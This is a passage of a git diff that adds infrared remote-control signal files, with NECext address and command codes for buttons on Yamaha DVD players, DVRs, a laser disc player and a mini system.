+command: 06 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir new file mode 100644 index 000000000..7e30d4529 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir @@ -0,0 +1,752 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 0B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 1B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 2B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 3B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 4B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 5B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 6B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 7B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 8B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: 9B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: ON_SCREEN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: OSD_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: DIMMER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: RPT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: RPT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>>_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<<_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: SIDE_A/B_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3F 00 00 00 +# +name: BIT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUBTITLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUB-T +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUB-T_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUBTILE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SOUND_MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MODE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: MENU_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: UP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: DOWN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: LEFT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: RIGHT_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: ENTER_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_ENTER/ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_ENTER/OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISK_SKIP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISC_SKIP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISK_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SETUP_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RTRN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RTRN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU/RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: TOP_MENU/RETURN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RETURN/RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: ANGLE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: A-DIR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8C 00 00 00 +# +name: AUDIO_DIRECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: T/C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: TITLE/CHAPTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: PAGE_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CF 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: SCAN_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: BIT_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: ZOOM_B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir new file mode 100644 index 000000000..8fe6da874 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: PRESET1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 11 00 00 00 +# +name: PRESET2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 12 00 00 00 +# +name: PRESET3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 13 00 00 00 +# +name: PRESET4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 14 00 00 00 +# +name: PRESET5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 15 00 00 00 +# +name: PRESET6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 16 00 00 00 +# +name: PRESET7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 17 00 00 00 +# +name: PRESET8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 18 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: DVD/CD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: SUBWOOF_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4C 00 00 00 +# +name: SUBWOOF_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4D 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 50 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 5F 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 86 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 87 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 88 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 89 00 00 00 +# +name: MATRIX_6.1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 90 00 00 00 +# +name: DOLBY/DTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 99 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: D9 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DA 00 00 00 +# +name: SPORTS +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DB 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DC 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 78 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir new file mode 100644 index 000000000..d016c460a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: REC_0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: REC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: REC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: REC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: REC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: REC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: REC_6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: REC_7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: REC_8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: REC_9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A7 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir new file mode 100644 index 000000000..5b73a02ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: TV_VOL_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: TV_VOL_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir new file mode 100644 index 000000000..52a6f51b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: CHAPTER_DN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 02 00 00 00 +# +name: CHAPTER_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 03 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 05 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 06 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 07 00 00 00 +# +name: STILL_DN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 0A 00 00 00 +# +name: STILL_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 0B 00 00 00 +# +name: MULTI_DN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 0E 00 00 00 +# +name: MULTI_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 0F 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 17 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 18 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 19 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 1A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 1B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 1C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 1D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 1E 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 1F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 47 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 49 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 5A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 5B 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 5D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir new file mode 100644 index 000000000..9f6126902 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 02 00 00 00 +# +name: TRACK_UP +type: parsed 